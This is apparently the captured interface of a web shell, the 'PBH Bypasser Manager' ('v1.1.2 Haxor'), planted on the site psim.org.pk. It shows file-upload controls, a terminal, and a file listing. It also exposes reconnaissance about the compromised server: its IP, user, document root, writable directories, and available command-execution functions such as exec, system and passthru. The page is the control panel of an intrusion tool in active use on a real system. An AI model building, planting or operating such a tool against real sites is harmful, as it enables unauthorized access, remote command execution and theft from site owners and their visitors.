🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-12 13:02:56
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
bluebird.d.ts 10 B 0775 2024-12-20 10:57:49 psim
bluebird.js 81 B 0775 2024-12-20 10:57:49 psim
es6-promise.d.ts 10 B 0775 2024-12-20 10:57:49 psim
es6-promise.js 95 B 0775 2024-12-20 10:57:49 psim
lie.d.ts 10 B 0775 2024-12-20 10:57:49 psim
lie.js 71 B 0775 2024-12-20 10:57:49 psim
native-promise-only.d.ts 10 B 0775 2024-12-20 10:57:49 psim
native-promise-only.js 103 B 0775 2024-12-20 10:57:49 psim
pinkie.d.ts 10 B 0775 2024-12-20 10:57:49 psim
pinkie.js 77 B 0775 2024-12-20 10:57:49 psim
promise.d.ts 10 B 0775 2024-12-20 10:57:49 psim
promise.js 79 B 0775 2024-12-20 10:57:49 psim
q.d.ts 10 B 0775 2024-12-20 10:57:49 psim
q.js 75 B 0775 2024-12-20 10:57:49 psim
rsvp.d.ts 10 B 0775 2024-12-20 10:57:49 psim
rsvp.js 81 B 0775 2024-12-20 10:57:49 psim
vow.d.ts 10 B 0775 2024-12-20 10:57:49 psim
vow.js 79 B 0775 2024-12-20 10:57:49 psim
when.d.ts 10 B 0775 2024-12-20 10:57:49 psim
when.js 81 B 0775 2024-12-20 10:57:49 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/node_modules/any-promise/register)